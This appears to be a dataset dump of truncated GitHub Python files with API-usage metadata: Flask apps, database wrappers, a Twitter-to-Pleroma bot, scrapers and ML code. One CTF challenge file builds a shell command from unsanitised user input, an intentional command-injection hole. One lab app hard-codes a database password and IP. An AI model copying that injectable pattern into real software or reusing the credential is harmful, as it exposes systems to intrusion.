self.driver.find_elemen... | crushrmsl/crush | crmTestSuite2/public/crmlogin.py | crmlogin.py | py | 713 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "selenium.webdriver.Chrome",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "selenium.webdriver",
"line_number": 6,
"usage_type": "name"
}
] |
71778088424 | import psycopg2
import pandas as pd
from sqlalchemy import create_engine
from Services.ConfigParser import ConfigParser
class Postgres:
def __init__(self):
config = ConfigParser()
db_config = config.DbConfigSettings()
self.connection_string = "postgresql://" + db_config["username"] + ":" +... | rohitdureja80/youtube-analytics | Database/Postgres.py | Postgres.py | py | 1,120 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "Services.ConfigParser.ConfigParser",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "sqlalchemy.create_engine",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "pandas.DataFrame",
"line_number": 19,
"usage_type": "call"
},
{
"api_n... |
13102044092 | import time
import json
import requests
from tqdm import tqdm
from datetime import datetime, timezone
from . import logger
from pleroma_bot.i18n import _
# from pleroma_bot._utils import spinner
def twitter_api_request(self, method, url,
params=None, data=None, headers=None, cookies=None,
... | robertoszek/pleroma-bot | pleroma_bot/_twitter.py | _twitter.py | py | 32,092 | python | en | code | 98 | github-code | 36 | [
{
"api_name": "requests.request",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "pleroma_bot.i18n._",
"line_number": 38,
"usage_type": "call"
},
{
"api_name": "requests.request",
"line_number": 46,
"usage_type": "call"
},
{
"api_name": "pleroma_bot.i18n... |
15643367692 | from aurora import aurora
import os
import json
from flask import Flask, flash, request, redirect, url_for, render_template, Response
from werkzeug.utils import secure_filename
from db import db
UPLOAD_FOLDER = './sessions'
ALLOWED_EXTENSIONS = set(['zip','csv', 'txt', 'json'])
app = Flask(__name__)
app.config['UPLOAD... | johnnydev543/aurora-dreamband | run.py | run.py | py | 1,659 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "flask.Flask",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "aurora.aurora.SESSION_IMPORTER",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "aurora.aurora",
"line_number": 17,
"usage_type": "name"
},
{
"api_name": "flask.reques... |
74236535463 | from flask import Flask, request, jsonify
from flask_sqlalchemy import SQLAlchemy
app = Flask(__name__)
# Replace 'your-connection-string' with your actual connection string
app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://john1:Lucban2101@35.239.116.222/john1'
db = SQLAlchemy(app)
class Item(db.Model):
... | JohnLRanola/lab5 | main.py | main.py | py | 1,775 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "flask.Flask",
"line_number": 4,
"usage_type": "call"
},
{
"api_name": "flask_sqlalchemy.SQLAlchemy",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "flask.jsonify",
"line_number": 25,
"usage_type": "call"
},
{
"api_name": "flask.request.get... |
23951701787 |
import os
from sendgrid import SendGridAPIClient
from sendgrid.helpers.mail import Mail
from twilio.rest import Client
from sendsms import api
from django.conf import settings
from .models import Host, Clients
from .forms import HostLogin, HostSignUp, ClientRegistration, Checkout
from django.utils import timezone
fr... | nightwarriorftw/Zeus | zeus/god/views.py | views.py | py | 8,226 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "django.shortcuts.render",
"line_number": 25,
"usage_type": "call"
},
{
"api_name": "forms.HostSignUp",
"line_number": 31,
"usage_type": "call"
},
{
"api_name": "django.contrib.auth.models.User.objects.create_user",
"line_number": 38,
"usage_type": "call"
... |
6798072131 | import logging
import json
from django.core.management.base import BaseCommand
from ...models import Category, Tag
logger = logging.getLogger('library')
INDUSTRIES_CATEGORY = 'Industries'
EXO_ATTRIBUTES_CATEGORY = 'ExO Attributes'
TECH_CATEGORY = 'Technologies'
INDUSTRIES_LIST = [
'Accommodations', 'Accounting... | tomasgarzon/exo-services | service-exo-medialibrary/resource/management/commands/import_tags_and_categories.py | import_tags_and_categories.py | py | 3,548 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "logging.getLogger",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "django.core.management.base.BaseCommand",
"line_number": 60,
"usage_type": "name"
},
{
"api_name": "json.load",
"line_number": 64,
"usage_type": "call"
},
{
"api_name": "mo... |
5667997586 | from setuptools import setup
PACKAGES = [
'ladder_network',
'ladder_network.ops',
]
def setup_package():
setup(
name="LadderNetwork",
version='0.1.0',
description="TensorFlow implementation of Rasmus et. al's Ladder Network",
author='Joshua D. Loyal',
url='https://... | joshloyal/LadderNetwork | setup.py | setup.py | py | 512 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "setuptools.setup",
"line_number": 10,
"usage_type": "call"
}
] |
43195907824 | from tifffile import TiffFile
import collections
from xml.etree import cElementTree as etree
import traceback
#Class for error handling
class PythImageError(Exception):
def __init__(self, message, errors):
super(PythImageError, self).__init__(message)
self.traceback=str(tra... | KatonaLab/Build3D | src/app/modules/packages/a3dc/external/PythImage/utils.py | utils.py | py | 6,381 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "traceback.format_exc",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "tifffile.TiffFile",
"line_number": 48,
"usage_type": "call"
},
{
"api_name": "collections.Iterable",
"line_number": 63,
"usage_type": "attribute"
},
{
"api_name": "xml.... |
40122929996 | """Module for the cli argument parser."""
import sys
from typing import List
from configargparse import ArgumentParser, HelpFormatter
from .globals import (
CONFIG_PATHS,
ALLOWED_SHOW_VALUES,
EXT_LOG_DEFAULT,
EXT_OUT_DEFAULT,
EXT_ERR_DEFAULT,
TOLERATED_USAGE,
BAD_USAGE,
ARGUMENT_ERROR
)
... | psyinfra/HTCAnalyze | htcanalyze/cli_argument_parser.py | cli_argument_parser.py | py | 5,847 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "configargparse.HelpFormatter",
"line_number": 17,
"usage_type": "name"
},
{
"api_name": "configargparse.ArgumentParser",
"line_number": 55,
"usage_type": "name"
},
{
"api_name": "typing.List",
"line_number": 75,
"usage_type": "name"
},
{
"api_name":... |
6981217998 | import os
import sys
import json
from applnlayer.ApplnMessageTypes import ResponseMessage
def serialization(rm):
json_buf={
"code":rm.code,
"contents":rm.contents
}
return json.dumps(json_buf)
def deserialization (buf):
json_buf = json.loads(buf)
rm=ResponseMessage(0,None)... | mandali8686/PA3manda | response_serialization.py | response_serialization.py | py | 413 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "json.dumps",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "json.loads",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "applnlayer.ApplnMessageTypes.ResponseMessage",
"line_number": 20,
"usage_type": "call"
}
] |
5795982413 | from selenium import webdriver
import csv
def Skill():
driver = webdriver.Chrome()
driver.maximize_window()
driver.implicitly_wait(120)
url="https://www.jobs.af/"
driver.get(url)
href=[]
skill_description=[]
elm=driver.find_elements_by_xpath('//div[@class="item-header"]//h2//a')
for... | musAhmadi/mustafa.ahmadi | dynamic_scripting/skill_description.py | skill_description.py | py | 1,005 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "selenium.webdriver.Chrome",
"line_number": 4,
"usage_type": "call"
},
{
"api_name": "selenium.webdriver",
"line_number": 4,
"usage_type": "name"
}
] |
31522303288 | import os
import openai
from flask import Flask, redirect, render_template, request, url_for, jsonify
app = Flask(__name__)
openai.api_key = os.getenv("OPENAI_API_KEY")
@app.route("/", methods=("GET", "POST"))
def index():
if request.method == "GET":
query_parameters = request.args
if query_para... | fujiwen/chatgpt-api-flask | app.py | app.py | py | 746 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "flask.Flask",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "openai.api_key",
"line_number": 7,
"usage_type": "attribute"
},
{
"api_name": "os.getenv",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "flask.request.method",
"li... |
74912810023 | import struct
import socket
from prettytable import PrettyTable
class IPv4(object):
def __init__(self):
self.version = None # 4bit version
self.headerlen = None #4bit header length
self.tos = None # 8bit type of service
self.totalLen = None # 16bit total length
... | fishmingyu/tcpStatis | IPv4Decode.py | IPv4Decode.py | py | 2,338 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "struct.unpack",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "socket.inet_ntoa",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "struct.pack",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "socket.ntohl",
"line_n... |
23528325219 | #!/usr/bin/python3
import os
import tempfile
import argparse
def query_db(row):
if not row:
row = 'FirstName'
sql = f".open /home/jared/chinook.db\nSELECT {row} FROM employees;"
os.system(f'echo "{sql}" | /usr/bin/sqlite3')
print("Done!")
if __name__ == '__main__':
parser = argpars... | zeyu2001/My-CTF-Challenges | STANDCON-2021/pwn/space-university-of-interior-design/service/src/query_db.py | query_db.py | py | 448 | python | en | code | 36 | github-code | 36 | [
{
"api_name": "os.system",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "argparse.ArgumentParser",
"line_number": 18,
"usage_type": "call"
}
] |
14302631347 | '''Smoothing/Blurring is done when an img has a lot of noise such as camera sensors,lighting issues,etc'''
import cv2 as cv
import numpy as np
img = cv.imread('Resources/Photos/cats.jpg')
cv.imshow('Original', img)
# 1.) Averaging - Each pixel is replaced by the average value of all pixels in the kernel window i.e.... | ajinkeya17/OpenCV-Course | Codebase/smoothing.py | smoothing.py | py | 1,723 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "cv2.imread",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "cv2.imshow",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "cv2.blur",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "cv2.imshow",
"line_number": 12,
... |
9901411991 | import requests
import json
import urllib
from requests.exceptions import HTTPError
def getContact(email, apikey):
contact = {}
try:
#print("- Downloading Contact from Hubspot API...")
url= 'https://api.hubapi.com/contacts/v1/contact/email/' + email + '/profile?hapikey=' + apikey
respon... | zlibert/plib-emailcampaign | main.py | main.py | py | 5,094 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "requests.get",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "requests.exceptions.HTTPError",
"line_number": 28,
"usage_type": "name"
},
{
"api_name": "requests.get",
"line_number": 85,
"usage_type": "call"
},
{
"api_name": "requests.get"... |
35748710144 | from flask import Flask, request
import sqlite3
import pickle
import numpy as np
app = Flask(__name__)
app.config["Debug"] = True
@app.route("/", methods = ["GET"])
def entrada():
return("¡Bienvenido a la página web de Antonio!")
@app.route("/predict", methods=['GET'])
def prediction():
tv = request.args.get... | Toni2Morales/EjerPyAnywhere | pagina.py | pagina.py | py | 1,757 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "flask.Flask",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "flask.request.args.get",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "flask.request.args",
"line_number": 15,
"usage_type": "attribute"
},
{
"api_name": "flask.reque... |
23100209026 | """Contains example scripts presenting various activation functions characteristics."""
import os
import matplotlib.pyplot as plt
import matplotlib.patches as mpatches
import numpy as np
import inspect
from typing import Dict, Type
import NaiveNeurals.MLP.activation_functions as functions_module
def plot_character... | p-sto/NaiveNeurals | scripts/activation_functions_example.py | activation_functions_example.py | py | 1,562 | python | en | code | 2 | github-code | 36 | [
{
"api_name": "typing.Dict",
"line_number": 16,
"usage_type": "name"
},
{
"api_name": "typing.Type",
"line_number": 16,
"usage_type": "name"
},
{
"api_name": "NaiveNeurals.MLP.activation_functions.ActivationFunction",
"line_number": 16,
"usage_type": "attribute"
},
{
... |
36569687322 | import datetime
from flask import Flask, render_template, request, json
application = Flask("News")
def getNews():
resultStr = ''
with open("news.json", "r", encoding="UTF-8") as file:
newsList = file.read()
newsList = json.loads(newsList)
for news in newsList:
resultStr +=... | Gubochka/NG_2022_Kirill_Bezdolny | Lesson_5/task3/task3.py | task3.py | py | 1,475 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "flask.Flask",
"line_number": 4,
"usage_type": "call"
},
{
"api_name": "flask.json.loads",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "flask.json",
"line_number": 10,
"usage_type": "name"
},
{
"api_name": "datetime.datetime.today",
... |
2940036472 | from __future__ import annotations
from datetime import datetime
from typing import Any
from gym_utilities import in_week, create_offering_dict
# The additional pay per hour that instructors receive for each certificate they
# hold.
BONUS_RATE = 1.50
class WorkoutClass:
"""A workout class that can be offered at... | Heian0/148 | 148/assignments/a0/a0/gym.py | gym.py | py | 28,439 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "typing.Any",
"line_number": 51,
"usage_type": "name"
},
{
"api_name": "datetime.datetime",
"line_number": 178,
"usage_type": "name"
},
{
"api_name": "datetime.datetime",
"line_number": 248,
"usage_type": "name"
},
{
"api_name": "datetime.datetime",
... |
25444280568 | import torch
import torch.nn as nn
import torch.optim as optim
import os
from omegaconf import OmegaConf, DictConfig
def save_model(model, path=None):
if path:
new_path = os.path.join(model.save_path,path)
model_file_path = os.path.join(
new_path,
model.name)
... | mjadiaz/distributed-ddpg | src/networks.py | networks.py | py | 5,615 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "os.path.join",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 12,
"usage_type": "attribute"
},
{
"api_name": "os.path.join",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 1... |
73818483305 | import cv2
import numpy as np
from PIL import Image
import os
path = 'dataset'
recogniser = cv2.face.LBPHFaceRecognizer_create()
detector = cv2.CascadeClassifier("haarcascade_frontalface_default.xml")
def getImagesAndLabels(path):
imagePaths = [os.path.join(path, f) for f in os.listdir(path)]
#it should be ... | Ujj013/Face_detector_recogniser | training.py | training.py | py | 2,160 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "cv2.face.LBPHFaceRecognizer_create",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "cv2.face",
"line_number": 8,
"usage_type": "attribute"
},
{
"api_name": "cv2.CascadeClassifier",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "o... |
41946408273 | #!/usr/bin/env python
# coding: utf-8
import cv2
import numpy as np
import glob
import os
rows = 6
cols = 9
objp = np.zeros((rows * cols, 3), np.float32)
objp[:, :2] = np.mgrid[0:rows, 0:cols].T.reshape(-1, 2)
# define the path
path = os.getcwd() + '/images/task_1/'
output_path = os.getcwd() + '/output/task_1/'
# 3... | YB-Joe/Perception_in_Robotics | project_2a/code/task_1/task_1.py | task_1.py | py | 3,567 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "numpy.zeros",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "numpy.float32",
"line_number": 12,
"usage_type": "attribute"
},
{
"api_name": "numpy.mgrid",
"line_number": 13,
"usage_type": "attribute"
},
{
"api_name": "os.getcwd",
"line... |
30845959188 | __author__ = 'xuxiaoye'
from django.conf.urls import url
from . import views
urlpatterns = [
# Json APIs
url(r'^jsonResult$', views.jsonResult, name='jsonResult'),
url(r'^api\/login$', views.apiLogin, name='apiLogin'),
url(r'^rs$', views.rs, name='rs'),
# End of Json APIs
# Wechat backend
u... | xiaoyexu/mysite | xiaoye/urls.py | urls.py | py | 926 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "django.conf.urls.url",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "django.conf.urls.url",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "django.conf.urls.url",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "django.co... |
12143911661 | import pygame
import Classes_objects
import Developer_help
import Load_image
import Sound_effects
import Check_reasults
import Deck_module
import Speical_moves
#-------------------------------------------------------- load data -----------------------------
#----------------------------------------------------player... | DvirS123/Black_Jack_Game | Player_phases.py | Player_phases.py | py | 14,772 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "Classes_objects.get_player",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "Classes_objects.get_player",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "Classes_objects.get_player",
"line_number": 16,
"usage_type": "call"
},
{
"... |
506845300 | """
Compile some information from a table
"""
import xlrd
import xlwt
import os
def frequencies_by_place(xls, entities_sheet, entities_id, entities_place,
data_sheet, output, null=None, out_cols_basename=None,
entities_filter=None, cols_exclusion=Non... | jasp382/glass | glass/tbl/xls/anls.py | anls.py | py | 18,189 | python | en | code | 2 | github-code | 36 | [
{
"api_name": "decimal.Decimal",
"line_number": 69,
"usage_type": "call"
},
{
"api_name": "decimal.Decimal",
"line_number": 74,
"usage_type": "call"
},
{
"api_name": "decimal.Decimal",
"line_number": 75,
"usage_type": "call"
},
{
"api_name": "numpy.std",
"line... |
71390250985 | #!/usr/bin/env python
import sys,os,glob, inspect
#,re,numpy,math,pyfits,glob,shutil,glob
import optparse
import scipy as sp
import numpy as np
import pylab as pl
from scipy.interpolate import interp1d
from scipy import optimize
#from mpmath import polyroots
import time
import pprint, pickle
#from snclasses import my... | fedhere/SESNCfAlib | templates/templutils.py | templutils.py | py | 21,005 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "os.path.realpath",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 19,
"usage_type": "attribute"
},
{
"api_name": "os.path.abspath",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "os.path.split",
"li... |
31594578113 | import torch
import torchvision
import torch.nn as nn
def get_vgg16():
vgg16 = torchvision.models.vgg16(pretrained=False)
weight = vgg16.features[0].weight.clone()
vgg16.features[0] = nn.Conv2d(1, 64, kernel_size=(3, 3), stride=(1, 1), padding=1)
with torch.no_grad():
vgg16.features[0].weight[:... | hariharan98m/distinctive-filter-learning-covid19 | std_arch.py | std_arch.py | py | 2,094 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "torchvision.models.vgg16",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "torchvision.models",
"line_number": 6,
"usage_type": "attribute"
},
{
"api_name": "torch.nn.Conv2d",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "torch.n... |
17978424885 | # 导入操作系统库
import os
# 更改工作目录
os.chdir(r"D:\softwares\applied statistics\pythoncodelearning\chap1\sourcecode")
# 导入基础计算库
import numpy as np
# 导入绘图库
import matplotlib.pyplot as plt
# 导入Lasso模型
from sklearn.linear_model import MultiTaskLasso, Lasso
# 导入绘图库中的字体管理包
from matplotlib import font_manager
# 实现中文字符正常显示
font = fon... | AndyLiu-art/MLPythonCode | chap1/sourcecode/Python11.py | Python11.py | py | 2,671 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "os.chdir",
"line_number": 4,
"usage_type": "call"
},
{
"api_name": "matplotlib.font_manager.FontProperties",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "matplotlib.font_manager",
"line_number": 14,
"usage_type": "name"
},
{
"api_name":... |
13112139662 | from django.shortcuts import render, redirect, reverse
from django.contrib.auth.forms import AuthenticationForm
from django.contrib.auth import login as auth_login, logout as auth_logout
from django.contrib import messages
from django.utils.translation import ugettext as _
from .forms import RegistrationForm
def log... | roccolangeweg-old/infdev016b | account/views.py | views.py | py | 1,546 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "django.contrib.auth.forms.AuthenticationForm",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "django.shortcuts.redirect",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "django.contrib.auth.forms.AuthenticationForm",
"line_number": 16,
... |
477387110 | """A setuptools based setup module.
See:
https://packaging.python.org/en/latest/distributing.html
https://github.com/pypa/sampleproject
"""
# Always prefer setuptools over distutils
from setuptools import setup, find_packages
# To use a consistent encoding
from codecs import open
from os import path
here = path.abspa... | cmancone/mygrations | setup.py | setup.py | py | 1,605 | python | en | code | 10 | github-code | 36 | [
{
"api_name": "os.path.abspath",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 13,
"usage_type": "name"
},
{
"api_name": "os.path.dirname",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "codecs.open",
"line_numbe... |
39274582010 | from fastapi import APIRouter, Depends, HTTPException
from pyairtable.api.table import Table
from pyairtable.formulas import match
from sentry_sdk import capture_message
from app.auth.auth_bearer import JWTBearer
from app.routers.attendees import update_attendee
from ..dependencies import get_mobile_table, get_registr... | LosAltosHacks/api | app/routers/verify.py | verify.py | py | 3,095 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "fastapi.APIRouter",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "pyairtable.api.table.Table",
"line_number": 17,
"usage_type": "name"
},
{
"api_name": "fastapi.Depends",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "dependen... |
41499034466 | from abc import ABC, abstractmethod
import logging
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from sqlalchemy.orm.session import Session
from sqlalchemy.pool import NullPool
from os import getenv
from dotenv import load_dotenv
from models import BaseTable
class Collector(ABC):
... | shivanrbn/BAG-Visualizer | src/bag_extractor/handler_base.py | handler_base.py | py | 1,286 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "abc.ABC",
"line_number": 13,
"usage_type": "name"
},
{
"api_name": "logging.getLogger",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "logging.basicConfig",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "logging.INFO",
"lin... |
41702191179 | import os
import pytest
import textwrap
@pytest.fixture()
def sample_test(testdir):
testdir.makefile(
".feature",
scenario=textwrap.dedent(
"""\
Feature: Testing
Scenario: Test scenario
Given I have a scenario
When I ... | mattiamonti/pytest-bdd-report | tests/test_html_information/test_html_information.py | test_html_information.py | py | 2,631 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "textwrap.dedent",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "textwrap.dedent",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "pytest.fixture",
"line_number": 7,
"usage_type": "call"
}
] |
17245832907 | import datetime
import inspect
import json
import boto3
from util import create_ec2_client, create_ec2_resource, print_response
def create_elastic_ip(ec2_client):
# https://boto3.readthedocs.io/en/latest/reference/services/ec2.html#EC2.Client.allocate_address
# DomainのvpcはVPC、standardはEC2-Classic向け
respon... | thinkAmi-sandbox/syakyo-aws-network-server-revised-edition-book | boto3_ansible/ch7.py | ch7.py | py | 3,976 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "util.print_response",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "inspect.getframeinfo",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "inspect.currentframe",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "util.pr... |
74050394344 | from parlai.core.teachers import DialogTeacher
from .build import build
import json
import os
import glob
def _path(opt):
build(opt)
print('opt is', opt['datatype'])
dt = opt['datatype'].split(':')[0]
if dt == 'valid':
dt = 'dev'
elif dt != 'train' and dt != 'test':
raise Runtime... | facebookresearch/ParlAI | parlai/tasks/nlvr/agents.py | agents.py | py | 1,680 | python | en | code | 10,365 | github-code | 36 | [
{
"api_name": "build.build",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "os.path.join",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 19,
"usage_type": "attribute"
},
{
"api_name": "os.path.join",
"line_number... |
72517026344 | from setuptools import find_packages, setup
from typing import List
import io
import os
def parse_requirements(filename: str) -> List[str]:
required_packages = []
with open(os.path.join(os.path.dirname(__file__), filename)) as req_file:
for line in req_file:
required_packages.append(line.s... | FilipCvetko/ml_pet | setup.py | setup.py | py | 818 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "os.path.join",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "os.path.dirname",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "typing.List",
"line_number... |
15990910311 | from collections import deque
# For debugging
import time
#-----
# Define Node class
#-----
class Node:
def __init__(self, val, left=None, right=None):
self.val = val
self.left = left
self.right = right
def __repr__(self):
return str(self.val)
#-----
# DFT - recursive
#-----
... | tylerbittner/interviewkickstart | trees/basic_tree_ops.py | basic_tree_ops.py | py | 5,850 | python | en | code | 7 | github-code | 36 | [
{
"api_name": "collections.deque",
"line_number": 62,
"usage_type": "call"
}
] |
709574459 | import numpy as np
import matplotlib.pyplot as plt
import os
import pandas as pd
import csv
### NOTE: Need to make filepaths for the laptop now ###
def lagrange(X):
'''
Function for creating Lagrange basis functions.
Inputs
------
X: array-like. The elements nodal x-locations.
Returns
---... | mattwilliams06/IntroToFEM | Chapter4/HeatTransfer/ProgramScripts/main.py | main.py | py | 10,569 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "numpy.linspace",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "numpy.ones_like",
"line_number": 29,
"usage_type": "call"
},
{
"api_name": "numpy.linspace",
"line_number": 32,
"usage_type": "call"
},
{
"api_name": "os.getcwd",
"line_n... |
29775116008 | from orders import get_model
from flask import Blueprint, redirect, render_template, request, url_for
giftcards_crud = Blueprint('giftcards_crud', __name__)
builtin_list = list
# [START list]
@giftcards_crud.route("/")
def list():
token = request.args.get('page_token', None)
if token:
token = toke... | rajathithan/flask | orders/giftcards_crud.py | giftcards_crud.py | py | 1,559 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "flask.Blueprint",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "flask.request.args.get",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "flask.request.args",
"line_number": 14,
"usage_type": "attribute"
},
{
"api_name": "flask.r... |
40803709725 | import argparse
import datetime
from analyzer.AntiPatterns import find_anti_patterns
from analyzer.config import PROVIDERS, ANTI_PATTERNS
from analyzer.CIDetector import detect_ci_tools
from analyzer.BuildCollector import collect_builds
from analyzer.Output import create_json, create_text_files, create_images
from ana... | FreekDS/CIAN | analyzer/__init__.py | __init__.py | py | 5,131 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "analyzer.config.PROVIDERS",
"line_number": 21,
"usage_type": "name"
},
{
"api_name": "argparse.ArgumentTypeError",
"line_number": 28,
"usage_type": "call"
},
{
"api_name": "analyzer.config.PROVIDERS",
"line_number": 34,
"usage_type": "name"
},
{
"ap... |
12538131223 | from flask import (
Flask,
render_template,
request
)
from bs4 import BeautifulSoup
import requests
from urllib.request import Request, urlopen
from flask_cors import CORS
from textblob import TextBlob
# Create the application instance
app = Flask(__name__, template_folder="templates")
CORS(ap... | marynashapoval/text_analysis_bachelor_work | tryScript.py | tryScript.py | py | 831 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "flask.Flask",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "flask_cors.CORS",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "flask.request.args.get",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "flask.request.args... |
4675931038 | from django.contrib import admin
from django.urls import path
from Bank import views
urlpatterns = [
path("", views.homepage, name='homepage_bank'),
path("feedback", views.feedback, name='feedback'),
path("SignUp", views.SignUp, name='SignUp'),
path("LogIn", views.LogIn, name='LogIn'),
pat... | paandrei/Django_Project | Bank/urls.py | urls.py | py | 655 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "django.urls.path",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "Bank.views.homepage",
"line_number": 6,
"usage_type": "attribute"
},
{
"api_name": "Bank.views",
"line_number": 6,
"usage_type": "name"
},
{
"api_name": "django.urls.path",
... |
16618551872 | import pygame, random, sys
class Ball:
def __init__(self):
self.x = 380.0
self.y = 280.0
self.radius = 20
self.velocityX = 0.0
self.velocityY = 0.0
self.speed = 150.0
def draw(self, window):
pygame.draw.circle(window, (255, 255, 255), (int(self.x), int(se... | mbedded-mike/Pong | ball.py | ball.py | py | 1,522 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "pygame.draw.circle",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "pygame.draw",
"line_number": 12,
"usage_type": "attribute"
},
{
"api_name": "random.randint",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "pygame.quit",
... |
18026113140 | # coding: utf-8
## Author: Jiayi Chen
## Time-stamp: 11/26/2018
import argparse
import time
import math
import os
import torch
import torch.nn as nn
import torch.onnx
parser = argparse.ArgumentParser(description='PyTorch Wikitext-2 RNN/LSTM Language Model')
parser.add_argument('--data', type=str, default='trn-wiki.... | jia-yi-chen/Natural-Language-Processing-all | language_modeling/main-minibatch-rnnlm.py | main-minibatch-rnnlm.py | py | 12,033 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "argparse.ArgumentParser",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "os.path.exists",
"line_number": 75,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 75,
"usage_type": "attribute"
},
{
"api_name": "torch.LongTensor"... |
850231959 | import datetime as dt
from peewee import DataError
from playhouse.postgres_ext import DateTimeTZField
class DateTimeTzField(DateTimeTZField):
def db_value(self, value):
if value is not None:
if value.tzinfo is None:
raise DataError(f'Cannot use naive datetime "{value}" in DateT... | malikfassi/SayMyName | api/common/models/DateTimeTZField.py | DateTimeTZField.py | py | 677 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "playhouse.postgres_ext.DateTimeTZField",
"line_number": 6,
"usage_type": "name"
},
{
"api_name": "peewee.DataError",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "datetime.timezone",
"line_number": 11,
"usage_type": "attribute"
},
{
"api... |
828214309 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
